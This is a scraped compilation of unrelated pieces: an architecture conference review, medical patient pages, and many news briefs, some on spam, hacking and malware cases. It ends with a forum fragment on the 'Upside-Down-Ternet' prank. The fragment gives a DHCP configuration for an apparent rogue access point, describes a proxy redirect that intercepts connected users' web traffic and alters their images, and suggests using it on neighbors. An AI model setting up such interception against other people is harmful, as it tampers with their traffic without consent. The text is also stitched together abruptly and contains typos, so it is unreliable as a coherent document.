On Nov. 11, a gathering of architects assembled in a New York basement auditorium to hear author Tom Wolfe make witty comments on the occasion of the 30th anniversary of the publication of his From Our House to Bauhaus. Now in his own 80th year, the man in the white suit isn't quite as sharp as he once was, but no one seemed to mind as he haltingly recapitulated the book's tendentious argument: that a cabal of architects foisted a soulless vision of modernity on a helpless nation. As Philip Johnson remarked one evening back when the book came out in 1981, "We don't read Tom for the content. We read him for the rhythm." If even his rhythm was faltering, it was nice just to be in his presence.
As it was, Wolfe drew a largely enthusiastic audience, one that was ideologically predisposed toward his rather jaundiced view of modern architecture. The event was sponsored by the Institute of Classical Architecture & Art, and Wolfe was but one of several high-profile draws (other speakers included architects Denise Scott Brown, Michael Graves, FAIA, and Robert A. M. Stern, FAIA) for a two-day conference under the rubric "Reconsidering Postmodernism." The subject was postmodernism, and the cast of characters, too, had a somewhat dated feel. "This is sort of like the Golden Girls talking about the Golden Age," Stern quipped during one panel.
If nothing else, Wolfe offered a dose of clarity to the proceedings; after three decades, there is still no question as to his position on architectural Modernism. (He's against it.) What the rest of the crowd was to make of its progeny, postmodernism, was another story. "Is this something still going on or still dead?" wondered Museum of Modern Art curator Barry Bergdoll. The various combatants seemed unsure, or at least divided on the subject. There was a general repudiation of Modernist urban planning and also of the postmodernist development of the shlocky, strip-mall variety. But those were the easy targets, and postmodernism's somewhat slippery definition made it difficult to center.
A similar subject—how to reckon with the modern and postmodern architecture of the past—was at hand a week later at another New York conference, this one held under the aegis of the Cultural Landscape Foundation. The audience here was altogether more sympathetic to the Modernist project, though not without a certain detached realism as to "its successes, its failures, its not-so-bad moments." Those were the words of Thaisa Way, moderator of a panel on urban renewal, who defined the architect's task as managing "the legacy of complex histories."
In a later panel on "metropolitian transformations," landscape designer James Corner spoke of "establishing processes " as a first step to any project, Kathryn Gustafson of the necessity for "intricate layering," and Julie Bargmann of an imperative to "work with the existing."
It was on this last point—the subject of Modernist preservation—that matters became contentious. The first sign of indignation came during a talk by Diller Scofidio + Renfro's Charles Renfro, AIA, on the subject of his firm's renovation of Lincoln Center. Renfro's description of the wedged lawn set adjacent to the Beaumont Theater as a "landscape" elicited a derisive hiss and then sarcastic laughter. In the closing comments, however, conference organizer Charles Birnbaum, speaking for the audience, ripped into Renfro for his "offensive" diminution of the practice of landscape architecture generally and for DS+R's hubris in replacing a Dan Kiley garden at the center, and then not mentioning the fact—or Kiley—at all during his talk.
A few days after that event, there was news to satisfy attendees of both conferences—or at least many of them. Michael Graves's Portland Building, that defining postmodern icon, had been named to the National Register of Historic Places. It seemed appropriate, at least, insofar as Graves, of all the participants, had offered a prescription for the future that could be approved by all: "Get smart. Go to the library and read. Love architecture."

Asymptomatic bacteriuria
Asymptomatic bacteriuria is a significant number of bacteria in the urine that occurs without usual symptoms such as burning during urination or frequent urination.
Asymptomatic bacteriuria may not need treatment, which makes it different from a bacterial urinary tract infection.
Asymptomatic bacteriuria occurs in a small number of healthy individuals. It more often affects women than men. The reasons for the lack of symptoms are not well understood.
Most patients with asymptomatic bacteriuria do not need treatment because the bacteria are not causing any harm. Persons who have urinary catheters often will have bacteriuria, but most will not have symptoms.
Certain people are at a higher risk for kidney infections if they develop asymptomatic bacteriuria. The following increases your risk:
- Diabetes
- Infected kidney stones
- Kidney transplant
- Older age
- Pregnancy -- up to 40% of pregnant women with untreated asymptomatic bacteriuria will develop a kidney infection
- Vesicoureteral reflux in young children
By definition, asymptomatic bacteriuria causes no symptoms. The symptoms of a urinary tract infection include burning during urination, an increased urgency to urinate, and increased frequency of urination.
Exams and Tests
Asymptomatic bacteriuria is detected by the discovery of significant bacterial growth in a urine culture taken from a urine sample.
Pregnant women, kidney transplant recipients, children with vesicoureteral reflux, and those with infected kidney stones are more likely to be given antibiotics.
Giving antibiotics to persons who have long-term urinary catheters in place may cause additional problems. The bacteria may be more difficult to treat and the patients may develop a yeast infection.
If asymptomatic bacteriuria is found before a urinary tract procedure, it should be treated to prevent complications. The course of treatment in these cases depends on the person's risk factors.
Possible Complications
Untreated, asymptomatic bacteriuria can lead to a kidney infection in high-risk individuals.
When to Contact a Medical Professional
Call your health care provider if the following symptoms occur:
- Difficulty emptying your bladder
- Fever
- Flank or back pain
- Pain with urination
You will need to be evaluated for a bladder or kidney infection.

Plans to erect a nude statue on the roof of an Oxford shop have run into trouble 10 days before an eagerly awaited unveiling ceremony.
Councillors have pointed out the 7ft sculpture by Angel of the North creator Antony Gormley does not have planning permission.
The half-tonne iron statue is due to be lifted on to the roof of Blackwell's Art and Poster shop, in Broad Street, on February 15.
Exeter College said it wanted to display the statue, worth more than £250,000, in a public place because of the huge interest in Gormley's work.
But it has emerged planning permission is unlikely to be secured until March 17.
And councillor Shushila Dhall is unhappy the decision is being left to planning officers, under delegated powers.
She now intends to have the application "called in" to the city council's central, south and west area committee, so the final decision can be taken by elected representatives.
Ms Dhall, of the Green Party, said: "I was amazed this has been passed to officers. It is not like an extension at the back of somebody's house. Groups and people interested in the centre of Oxford should have the opportunity to say if they like it.
"I actually like the statue as a piece of art. It will be on one of the least attractive buildings in Broad Street and I think the statue will improve it. But the problem is not the actual site, but the fact it should no be decided under delegated authority."
She said she had heard concerns about the weight of the statue and the risk of it falling off.
But Lord Mayor of Oxford Susanna Pressel said: "I think it is wonderful. I cannot imagine anyone complaining about it.
"We must not be too boring and stuffy. There has to be room for an imaginative work like this, to make life more fun."
The Bursar of Exeter College, Eric Bennett, said: "We will carry on with what we agreed we were going to do."
An Oxford City Council spokesman said: "The council recognises public art is an important cultural asset that contributes to the public enjoyment of Oxford and therefore our policy encourages appropriate public art which enlivens the public realm.
"Officers do not foresee any particular problems."

CLICK Frenzy had at its virtual heart what appeared to be the best of intentions.
Touted as Australia's version of Cyber Monday, it was supposed to show off our online retail prowess and boost activity in a retail sector that has been haemorrhaging sales to overseas competitors for years.
But, when Click Frenzy's virtual doors failed to open - for up to three hours - on Tuesday night, what it did was expose our inherent weakness in the online retail space and reinforce to many shoppers why they were better off taking their money elsewhere.
However, as the 24-hour sales event came to a close last night, organiser Grant Arnott, the publisher of Power Retail, an industry resource for online retailers, said the experiment was not all bad.
Trying to put a positive spin on what even he admitted had been a ''difficult'' 24 hours, he said that more than 1.55 million shoppers or ''one in 20 Australians'' had participated in Australia's first national online shopping event was ''encouraging'' for the local industry.
He hoped to have figures on how much was spent during the event by the end of the week.
''Whatever you think of Click Frenzy, what this has indicated is that there is an enormous level of demand for online shopping in Australia,'' he said. ''Our task now as a sector is to improve on the execution.''
The Click Frenzy website was not the only site that failed in the opening hours of the sale. The websites of big name retailers including Myer, Dick Smith and Toys R Us were also inaccessible at various times throughout Tuesday night.
Analysis by MelbourneIT, which monitored the availability and response times of 153 participating retailer websites between 6pm and midnight revealed about two thirds of the sites had technical issues.
Consumer backlash was swift and harsh. It began on social media minutes after the online crash, would-be shoppers expressing frustration at not being able to access local websites when overseas stores could handle much heavier traffic.
One potential customer summed up the sentiment when he tweeted: ''#Clickfrenzy Long downtime and no real bargains… Xmas shopping on USA & Japanese sites now.''
And later, when the Click Frenzy website regained its composure enough for shoppers to browse the sales, frustration turned to disappointment
at the lack of genuine offers. ''What's even more annoying about #clickfrenzy is when you finally get through to see the deals, most are just the standard 10% off crap,'' tweeted one shopper.
''#clickfrenzy what a joke, forget it being offline. The discounts were nominal at best, nothing you can't get anyway,'' tweeted another.
Before the event, the sale had been described as ''Boxing Day sales on digital steroids'' with discounts of up to 90 per cent. But a comparison of international sites revealed similar or better deals on sites such as Amazon and ASOS.
For example, women's Levi's Classic Demi Curve jeans were offered at Myer, via Click Frenzy, for $70, down from $119.95. On ASOS the jeans started at $38.25.
Myer was offering Urbanears headphones for $34.97, down from $59.95, while Amazon had the same from $28.94. The Sex and the City 2 DVD offered via EzyDVD for $5.58, plus $2 for shipping, was just $4.99 on Amazon, with free shipping.
Despite the technical meltdown and customer dissent, for the most part feedback from retailers was positive. Retailers such as DealsDirect, Booktopia, Woolworths and Windsor Smith said consumers bypassed the Click Frenzy website when it went down and shopped at their online stores instead. ''DealsDirect experienced a record influx of customers and recorded its best sales day of 2012,'' said chief executive Michael McRitchie.
Kate Morris, of online beauty juggernaut AdoreBeauty, was less impressed.
''I'm really disappointed that the whole thing was such a disaster. It was supposed to be such a positive thing to promote the Australian online retail industry but it has ended up being very negative. Our sales have been OK, but not what we hoped for,'' she said.
Participating retailers are believed to have paid from $1500 for a basic listing on the Click Frenzy site up to $30,000 for featured deals on the homepage or for site-wide advertising.

The cornea is the clear covering of the eye over the colored iris and the pupil.
Corneal transplantation is recommended for:
Corneal transplant is done with the patient awake and pain-free (local anesthesia). An incision is made around the outer edge of the cornea.
The damaged cornea is removed and the corneal graft is stitched in place. The corneal graft is a transplant from a brain dead donor maintained on life support.
Transplanted corneas have a long life expectancy. The benefits of corneal transplant are significant, and include significant improvement in vision.

A 17-year-old boy was killed Friday night when he was struck by a suspected drunk driver in Rancho Palos Verdes, the Los Angeles County Sheriff's Department said.
Ho Seok Suh, 55, of Rancho Palos Verdes, was arrested and charged with vehicular manslaughter and driving under the influence.
He posted bail Saturday.
The incident occurred at about 9:20 p.m. when the suspect, driving a 2004 Lexus south in the 30400 block of Hawthorne Boulevard, hit three cars at the curb, according to Sheriff's Lt. John Wolak.
The area is near Robert E. Ryan Community Park.
The victim, a Rancho Palos Verdes resident whose name has not been released, was standing outside the driver's side of one of the cars when he was struck. Four friends - girls ages 17 and 18 - were standing on the sidewalk when the incident occurred.
After striking the parked cars, the suspect's car veered left and drove over a raised concrete median, coming to rest in the northbound lanes.
When officers arrived, Wolak said Suh failed a field sobriety test and was taken to the Lomita jail where he was charged and spent the night.
The victim was taken to a hospital where he was pronounced dead.

One of the most effective ways to help a person "manage their anger" is to understand what they are trying to communicate through this very powerful emotion. I have found the original meaning, from the Old Norse word "angr" to be very illuminating because it translates as "to grieve." When I think of anger from this perspective, I don't see it so much as a behavior as I do has a response to a deeply felt wound that hasn't been given the opportunity to heal. At the same time, I expect the people I work with individually or in groups to hold themselves accountable, "manage" the destructive potential of this emotion, and become compassionate stewards of themselves and the safety of others.

Pilot Loses Prosthetic Arm...As He's Landing Plane
(NEWSER)–You might imagine landing a plane with both hands on the controls would be hard enough. Add windy conditions and a prosthetic arm that essentially fell off, and you've got the plight of a Flybe pilot flying into Belfast earlier this year. According to an accident report, the pilot had made sure his prosthetic left arm was attached to the clamp that helped him fly the plane before he turned off autopilot. But as the aircraft neared Belfast City Airport, "his prosthetic limb became detached from the yoke clamp, depriving him of control of the aircraft" with too little time for a co-pilot to take control, the BBC reports on the February incident.

Father Hennepin, accompanied by Anthony Auguelle, in their great hunger, wandered about searching for wild berries.
"I don't know," I left Anthony to answer; wondering what he would say.
They however, furnished him with a canoe only sufficiently large to bear him and Anthony Auguelle, with their needful luggage.
In vain Anthony lifted her tea-cup and the muffin-plate to her for consolation.

St. Anthony's Fire (1520s), popular name for erysipelas, is said to be so called from the tradition that those who sought his intercession recovered from that distemper during a fatal epidemic in 1089.

GSA Wins American Institute of Architects Award
May 14, 2007
Contact: Maryanne Beatty, (202) 501-1231
Washington, DC – The U.S. General Services Administration was recognized by the American Institute of Architects (AIA) as a recipient of the 2007 Institute Honors for Collaborative Achievement at a ceremony on May 3rd. The award acknowledges the distinguished work of GSA's Office of the Chief Architect and the Design Excellence Program.
"This award pays tribute to the success of our program. By collaborating with the highest caliber of architects, we are creating a legacy of public architecture that continues to enrich and revitalize American communities," said David Winstead, GSA's Commissioner for the Public Buildings Service.
GSA's design excellence program is now in its second decade. This program continues to create public buildings that enhance cities and towns, inspire the public and teach America's values. GSA ensures the facilities are environmentally responsible and safe, at the same time communicating what the government represents through art and architecture. The influence of this program also reaches to other public agencies and the private sector.
The AIA presented this award to GSA at its 2007 National Convention and Design Exposition in San Antonio, Texas. For the past 150 years, members of the AIA have worked to create valuable, stable, and cost-effective buildings.

Von Willebrand disease
Von Willebrand disease is the most common hereditary bleeding disorder.
Von Willebrand disease is caused by a deficiency of von Willebrand factor. Von Willebrand factor helps blood platelets clump together and stick to the blood vessel wall, which is necessary for normal blood clotting. There are several types of Von Willebrand disease.
A family history of a bleeding disorder is the primary risk factor.
- Abnormal menstrual bleeding
- Bleeding of the gums
- Bruising
- Nosebleeds
- Skin rash
Note: Most women with heavy or prolonged menstrual bleeding do not have Von Willebrand disease.
Exams and Tests
Von Willebrand disease may be hard to diagnose. Low von Willebrand factor levels and bleeding do not always mean you have von Willebrand disease.
Tests that may be done to diagnose this disease include:
- Bleeding time
- Blood typing
- Factor VIII level
- Platelet aggregation test
- Platelet count
- Ristocetin cofactor test
- Von Willebrand factor specific tests
Treatment may includeDDAVP (desamino-8-arginine vasopressin), a medicinetoraise von Willebrand factor level and reduce the chances for bleeding.
However, DDAVP does not work for all types of von Willebrand disease. Tests should be done to determine what type of von Willebrand you have. If you are going to have surgery, your doctor may give youDDAVP before surgery to see if yourvon Willebrand factor levels increase.
The drug Alphanate (antihemophilic factor) is approved to decrease bleeding in patients with the disease who must have surgery or any other invasive procedure.
Blood plasma or certain factor VIII preparations may also be used to decrease bleeding.
Outlook (Prognosis)
Bleeding may decrease during pregnancy. Women who have this conditionusually do nothave excessive bleeding during childbirth.
This disease is passed down through families. Genetic counseling may help prospective parents understand the risk to their children.
Possible Complications
Bleeding may occur after surgery or when you have a tooth pulled.
Aspirin and other nonsteroidal anti-inflammatory drugs (NSAIDs) can make this condition worse. Do not take these medicines without first talking to your doctor or nurse.
When to Contact a Medical Professional
Call your health care provider if bleeding occurs without reason.
If you have von Willebrand disease andare scheduled for surgery or are in an accident, be sure you or your family notify the health care providers about your condition.

China will limit the number of messages that a mobile number can send per day to battle rampant spam messages clogging cell phones, state media said on Friday.
Spam messages, largely consisting of real estate offers, ads for English lessons, fake tax receipts and other frauds have grown very quickly in China in recent years. It is not unusual to receive dozens of messages a day, including the odd gun ad.
One mobile number cannot send more than 200 messages per hour or 1,000 per day on weekdays, according to the agreement. On holidays, 500 messages per hour and 2,000 per day may originate from one number.

The US military announced a new "cyber command" designed to wage digital warfare and to bolster defenses against mounting threats to its computer networks. The move reflects a shift in military strategy with "cyber dominance" now part of US war doctrine and comes amid growing alarm over the perceived threat posed by digital espionage coming from China, Russia and elsewhere.
President Barack Obama has put a top priority on cyber security and announced plans for a national cyber defense coordinator. A recent White House policy review said that "cybersecurity risks pose some of the most serious economic and national security challenges of the 21st century." Obama has promised privacy rights would be carefully safeguarded even as the government moves to step up efforts to protect sensitive civilian and military networks.

A woman who won a retrial after a $220,000 verdict against her for sharing music files has now been ordered to pay $1.92 million by a jury in Minnesota.
In 2007, when she lost the original suit, Jammie Thomas-Rasset was one of the first people to receive a guilty verdict in a case backed by the Recording Industry Association of America, which has filed more than 20,000 lawsuits against people in a bid to stop online music trading and copyright infringement.
On Thursday, a jury ordered her to pay $80,000 for each of the 24 songs she is accused of illegally trading over the Kazaa Internet service. The jury could have ordered her to pay between $750 and $150,000 per song. In a statement, the RIAA said it was pleased that the jury found the defendant liable and that it continues to be willing to settle the case.

The United Nations has appealed to parents, the Internet industry and policy-makers to join hands to eradicate hate speech from cyberspace.
Addressing a day-long seminar titled "Unlearning Intolerance" on the danger of "cyberhate," UN chief Ban Ki-moon lauded the benefits of the Internet but regretted that "there are those who use information technology to reinforce stereotypes, to spread misinformation and propagate hate." "Some of the newest technologies are being used to peddle some of the oldest fears," he warned, decrying what he called "digital demonization... targeting innocents because of their faith, their raace, their ethnicity, their sexual orientation."

Social networks like Facebook and Twitter are exploding in popularity, bringing people from all walks of life together online. At the same time though, overall Internet use keeping family members apart.
Forty-three percent of all online users are involved with a social networking site, and that's up from just 27% a year ago, according to a report released today by The Conference Board, a non-profit research association. The report also notes that more than half of those who use social networks log on at least once a day, and the majority log on several times a day.
An alleged spammer could face jail time in connection with a Facebook lawsuit after a judge referred him to the U.S. Attorney General's Office for criminal proceedings.
Judge Jeremy Fogel of the U.S. District Court for the Northern District of California referred Sanford Wallace (who has been dubbed a "spam king" for his long and aggressive history in e-mail marketing) l to the U.S. Attorney General's Office for criminal proceedings for allegedly violating an injunction that prohibited him from accessing Facebook.
Facebook filed a lawsuit against Wallace and two other men in February for spamming and phishing schemes through the social-networking site. The following week, Judge Fogel issued a temporary restraining order barring Wallace and two other alleged spammers, Adam Arzoomanian and Scott Shaw, from accessing Facebook's network.

A federal grand jury in New Jersey today indicted three people, and five people were arrested in Italy, all in connection with hacking into the IT systems of thousands of companies around the world to gain free access to telephone services, according to the U.S. Attorney's Office in Newark, N.J.
A multinational team of investigators worked jointly to round up the alleged hackers and their financial backers in the scheme to gain access into the systems of many companies -- 2,500 in the U.S. alone -- to steal access codes that the victim companies used to route phone calls through telecom systems, the office said.
The value of all the stolen services was unclear, though the U.S. Attorney's Office said the thieves routed more than $55 million worth of telephone calls over telecommunications networks in the U.S. "This was an extensive and well-organized criminal network that worked across continents," said New Jersey's acting U.S. attorney, Ralph J. Marra Jr., in a statement.
After a two weeks meeting in Bonn Germany, it appears that an ambitious and effective global pact to reduce greenhouse gas emissions is in sight.
A big achievement of this meeting is that governments have made it clearer what they want to see in the Copenhagen agreed outcome, said Yvo de Boer, Executive Secretary of the UN Framework Convention on Climate Change.The Copenhagen outcome is to follow on the first phase of the 1997 Kyoto Protocol, which expires at the end of 2012. The negotiating text under consideration covers issues of a shared vision for long-term cooperative action, enhanced action on adaptation, mitigation and finance, as well as technology and capacity-building.
The gathering in Germany, which brought together more than 4,600 participants from government, business and industry, environmental groups and research institutions, was the second in a series of five major UN negotiating sessions slated for this year ahead of Copenhagen. The next meeting is scheduled to be held from 10 to 14 August in Bonn, followed by sessions in Bangkok from 28 September to 9 October and Barcelona from 2 to 6 November.

Every time you swipe your credit card and wait for the transaction to be approved, sensitive data including your name and account number are ferried from store to bank through computer networks, each step a potential opening for hackers.
And while you may take steps to protect yourself against identity theft, an Associated Press investigation has found the banks and other companies that handle your information are not being nearly as cautious as they could. The government leaves it to card companies to design security rules that protect the nation's 50 billion annual transactions.

While most viruses target PC users, there has been rise in the number of attacks on Mac systems. Graham Cluley, a security expert with anti-virus firm Sophos, told the BBC that the small number of Mac viruses had made some users complacent.
Security experts have discovered two novel forms of Mac OS X malware. OSX/Tored-A - an updated version of the Mac OS Tored worm - and a Trojan called OSX/Jahlav-C were both found on popular pornographic websites. Users logging on to these sites are asked to download a "missing Video ActiveX Object" but are sent a virus payload instead.

The continuing fallout from a hacking incident at U.K.-based Web hosting company VAserv should serve as a powerful reminder that companies need proper data backup and disaster recovery procedures.
The incident, which could result in a fire sale of VAserv to another hosting provider, is also an especially stark example of the kind of havoc that a malicious attacker can wreak on businesses.
Late Sunday, an unknown hacker or hackers attacked VAserve's virtual server infrastructure and deleted about 100,000 sites, or about half of those being hosted by the company, according to The Register.
In Beijing, a lawyer has demanded a public hearing to reconsider a government demand that all new personal computers carry Internet filtering software, adding to uproar over a plan critics say is ineffective and intrusive.

"Spam dropped 15% across the board," said Bradley Anstis, director of technology strategy at Marshal8e6. "We especially noticed [the drop] over the weekend," he said, adding that the decline picked up steam slowly.
Last Tuesday, a federal court ordered the plug pulled on 3FN, an ISP operated by Belize-based Pricewert, after the FTC complained that the company hosts spam botnet command-and-control servers, as well as sites operated by child pornographers, identity thieves and other criminals.
A mobile phone-based health project is helping the Peruvian military to keep disease at bay. The initiative, dubbed Alerta DISAMAR, has allowed doctors in the navy to report disease outbreaks and ask for help with treatment. The scheme was set up following the deaths of two Peruvian sailors in 2001 from malaria and is part of a wider mHealth project by the United Nations-Vodafone Foundation. Since it was set up in 2003 it has provided invaluable information for epidemiologists and enabled them to track the spread of diseases. It is also a useful way of gathering statistics on disease for health planning. To date, over 80,000 cases have been reported - everything from snakebites to yellow fever.

A Chinese developer of pornography filtering software protested reports linking the program to China's broader Internet censorship on Wednesday, after the government ordered that his software be distributed with all PCs sold in the country.
The government edict requiring PC makers to distribute the program touched off concerns that it could be used to block access to politically sensitive material online in addition to pornography.
China says the initiative is meant to protect children from "harmful" online content. The software blocks only illegal materials such as pornography and some content related to gambling and drugs, said Bryan Zhang, the general manager of Jinhui.
A woman has been arrested by police in the UK following investigation into the distribution of child abuse images. The police raided the home of the 39 yr old nursery worker and closed the 60 place nursery during enquiries. Plymouth Commanding officer Ch Supt Jim Webster stated that the the allegations made against the nursery worker raised "serious concerns" and in response all the parents of children at the nursery are being contacted.
Ch Supt Jim Webster added, "... our work today is to find out what's happened, where the images have come from, where they've been sent to and any risk to anybody in Plymouth..."

A Hampton, New Hampshire, man has pleaded guilty to fraud charges for his role in a scheme to empty brokerage accounts by installing malicious Trojan horse software on victims' computers.
According to court documents, Alexey Mineev set up several "drop accounts" that were then wired funds stolen from banking and brokerage accounts between July and December 2007. He pleaded guilty to one count of money laundering on Wednesday, according to Mike Ruocco, deputy to Judge Paul Gardephe of the U.S. District Court for the Southern District of New York, who is presiding in the case.
The criminals would infect PCs with malicious Trojan software that would steal account numbers and passwords whenever victims logged into their accounts online.
Movie directors, composers, authors, legal experts, policy-makers and others are meeting in Washinton this week to discuss the "threats and opportunities" the Internet poses to copyright in the digital age.
Some 500 delegates from more than 55 countries are scheduled to attend the 2nd World Copyright Summit being held on Tuesday and Wednesday at the Ronald Reagan Convention Center. Web and software giants Google and Microsoft and representatives of movie, music and book rights societies are also among those attending the summit organized by the International Confederation of Societies of Authors and Composers (CISAC), whose president is Bee Gees brother Robin Gibb.
Organizer CISAC, listing the "key issues" for the summit, cited "How the digital media environment is providing common threats and opportunities to all creative repertoires."
French Culture Minister Christine Albanel, Hollywood director Milos Forman and US Senator Patrick Leahy, chairman of the Senate Judiciary Committee, are among the nearly 100 speakers slated to address the gathering. Looming over the summit is the threat posed to artists by digital piracy.
"In the week we used the system we found it very useful to pupils, teachers, therapists and parents alike. It allows children to take control of the conversation without having to rely on help from us.", Sue Williams, head teacher at Capability Scotland's Corseford School in Kilbarchan, said.
'How was school today?' is software to help children with disabilities such as cerebral palsy communicate faster. The system is the result of a project between computing scientists from the Universities of Aberdeen and Dundee, and Capability Scotland. Pupils from Corseford School in Renfrewshire were first to trial it.
Scientists claim to have developed the first technology of its kind to allow children with communication problems to converse better.
British YouTube users are amongst the most sensitive in the world, executives at the site have claimed. Amid demands for an independent regulator to police its content they said Britons are amongst the most likely to object to footage hosted on the site.
The company has reacted by introducing special Britain-only policies following a raft of complaints from users over gang-related videos. Victoria Grand, head of policy at YouTube, told The Times: The UK is a big flagging country. We get a lot of videos flagged up in the UK because of issues that British people are concerned about which maybe arent an issue in the US, such as the brandishing of guns.

As many as 40,000 Web sites have been hacked to redirect unwitting victims to another Web site that tries to infect PCs with malicious software, according to security vendor Websense.
The affected sites have been hacked to host JavaScript code that directs people to a fake Google Analytics Web site, which provides data for Web site owners on a site's usage, then to another bad site, said Carl Leonard, threat research manager for Websense.
Those Web sites have likely been hacked via a SQL injection attack, in which improperly configured Web applications accept malicious data and get hacked, Leonard said.

Spending more time on social networks and blogs? With the latest figures showing the number of minutes spent on social networking sites in the United States has almost doubled over the past year.
Nielsen Online, which measures web traffic, said the number of minutes on social networks in the United States rose 83 percent in April from the same month a year ago, but found users were quick to move on and sites could quickly fall from favor.
The total number of minutes spent on Facebook surged 700 percent year-on-year to 13.9 billion in April this year from 1.7 billion a year ago, making it the No. 1 social networking site for the fourth consecutive month. News Corp's MySpace was second most popular but the number of minutes spent on this site fell 31 percent to 4.97 billion from 7.3 billion a year ago, although it remained the top social networking site when ranked by video streams.

The United Nations Environment Programme (UNEP) has announced a landmark agreement reached by over 30 African ministers to mainstream climate change adaptation measures into national and regional development plans, policies and strategies.
The Nairobi Declaration adopted at the Special Session of the African Ministerial Conference on the Environment (AMCEN) called on the international community to support the continent in implementing climate change programmes while at the same time achieving sustainable development, with an emphasis on the most vulnerable, such as women and children, who bear the brunt of the impact of global warming.
Africas environment ministers have today signalled their resolve to be part of the solution to the climate change challenge by forging a unified position, within their diversity of economies, in advance of the crucial UN climate change convention meeting in Copenhagen in just 192 days time, said UNEP Executive Director Achim Steiner.
The Declaration highlights the need for a coherent financial mechanism to battle climate change, with equitable governance and simplified access procedures. In this regard, African ministers are advocating for the improvement and modification of the Clean Development Mechanism (CDM) in order to ensure equitable geographical distribution of projects that contribute to sustainable development efforts on the continent. They are also calling for the expansion of eligible categories to benefit from carbon credits and other international incentives to include sustainable land use, agriculture and forest management, in order to promote agricultural productivity in a way that improves resilience and adaptation to climate change.

An Australian woman who cyber-stalked an American Idol contestant was jailed for 26 months. Tanya Maree Quattrocchi pleaded guilty to stalking 2004 American Idol runner-up Diana DeGarmo by hacking into her My Space account and hijacking email accounts belonging to the singer, national news agency AAP reported.
Victorian County Court judge Lisa Hannan described Quattrocchi's offences as serious and said she had no option but to send her to jail. "It is important that you understand the fact you perpetrated your offending using cyberspace does not diminish its significance," Melbourne's Herald Sun newspaper quoted Hannan as saying. She said the victims of such crimes had no doors to lock or alarms to activate, adding: "They are constantly vulnerable."

Accessing your bank account using your mobile phone might seem safe, but security experts say would-be hackers can access confidential information via a simple text message seemingly from your service provider.
People in the industry aware of the risk see it as extremely small, as only a few people use handsets to access their bank accounts, but it is growing as mobile Internet usage rises.

~ "Natural Curiosity: USC and the Evolution of Scientific Inquiry into the Natural World" -- opened in fall 2007, the exhibit explores man's relationship with the natural world and features more than 1,000 specimens gathered during the university's history.
Through Jan. 23 --- "Southern Satire: The Illustrated World of Jak Smyrl." Jak Smyrl, from Camden, served as the illustrator and artist for "The State" newspaper from 1949 - 86. During his 37-year career, Smyrl created hundreds of caricatures of leading political and community figures, illustrations for magazine covers, and portraits for "The State" newspaper and "The Columbia Record" (a former afternoon newspaper). Smyrl masterfully understood the region in which he lived and connected with readers through personal reflections and an awareness of Southern culture and history (North Gallery, second floor).
Feb. 13 – May 8 --- "Grass Roots: African Origins of an American Art." "Grass Roots" traces the parallel histories of coiled basketry in Africa and the United States. The exhibition tells the compelling story of the survival of African-American basketry over 300 years. "Grass Roots" focuses on the coastal town of Mount Pleasant, across the Cooper River from Charleston, where basket makers have taken control of their craft as independent entrepreneurs. The exhibition features baskets made by contemporary American and African basket makers as well as historic examples, some dating to the early 19th century, from Lowcountry rice plantations and African villages (North & South galleries, second floor).
May 22 – August 20, 2010 --- "Spring for Art! McKissick Museum Annual Fundraiser Exhibition." An annual invitational exhibition of works by local artists who express the importance of the natural environment that constitutes the South Carolina landscape. Works include painting, photography, sculpture, ceramics and more. This annual event sponsored by the McKissick Museum Advisory Council, provides an opportunity for audiences to explore the ever-changing landscape of South Carolina as well as the wealth of talented artists throughout South Carolina. Gala event and reception will be held August 20, 2010 (South Gallery, second floor).
May 29 – July 31 --- "A People of the Land: Lowcountry Portraits." Vennie Deas-Moore has devoted much of her career to the exploration of vanishing traditions along the South Carolina Coast. Her recent photographic essay of black and white photographs documents the fishing, timbering, and farming industries of South Carolina's Lowcountry through the portraiture of those who inhabit the waterways. As a native of McClellanville, she presents an "insider's" unromantic view of places and people seldom seen. Her photographs present the interconnectedness of culture, the value of work, and the symbiotic relation between the long time black and white cultures (Lobby Gallery, third floor).
May 29 – Aug. 15 --- "Order Now! Decorating the Modern Home." "Order Now" will explore the symbiotic relationship between trade catalogs and decorative arts. Emphasis will be placed on how the objects were advertised as a method to define status and influence personal taste (North Gallery, second floor).
Aug. 14 – Dec. 14 --- "A Celebration of the World's Barrier Islands: The Batiks of Mary Edna Fraser." Mary Edna Fraser creates colorful images that while seeming abstract, are accurate depictions of the South Carolina coast. Her dyed silk hangings and lithographic prints combine science and art. They are technically masterful and physically impressive. A licensed pilot, Fraser takes the views of the South Carolina coast she sees from her plane and converts the imagery into studies of the land and atmosphere. The beauty of her work brings up subtly concepts of conservation and nature as a force unto itself (South Gallery, second floor).
McMaster Gallery
The McMaster Art Gallery is located in the department of art at the University of South Carolina, 1615 Senate Street. Gallery hours are weekdays 9 a.m. - 4:30 p.m. Closed weekends and all university holidays.

December --- BFA & MFA Exhibitions. Weeklong exhibitions of works by graduating BFA and MFA candidates. Date to be announced.
Jan. 15 – Feb. 23 --- Jonathan Brilliant. Brilliant, a Columbia artist, gathers materials from his natural environment and uses them to execute a site-specific installation. In this version, the natural environment is a coffee shop, and the materials are the wooden coffee stir sticks. The resulting work is ironic and labor intensive with a traditional craft-based sensibility.
April 21 --- 55th Annual ART Auction. The popular event will be held in the Campus Room of Capstone House beginning with a preview party at 6 p.m. followed by the auction at 7 p.m. The art will be on display beginning at 1 p.m. that day for public viewing.

Neat trick, but a little too laborious for something without visable results (i.e. you won't see their reaction, or they may not even go to a website with images). You may want to rephrase the "do this to your neighbors" part, just in case. =)
This is UPSIDE-DOWN-TERNET example
Result will be something like this (YouTube).
Step 1.
Set up you dhcpd.conf
Step 2.Code:option domain-name-servers 188.8.131.52, 188.8.131.52; #OPENDNS, YOU CAN CHANGE THESE default-lease-time 60; max-lease-time 72; ddns-update-style none; authoritative; log-facility local7; subnet 10.0.0.0 netmask 255.255.255.0 { interface at0; range 10.0.0.100 10.0.0.254; option routers 10.0.0.1; option domain-name-servers 126.96.36.199, 220.127.116.11; }
Edit and insert little rediction script to you proxy server =)
This downloads all the images to the local apache server and flips them, after
that they are served towards.
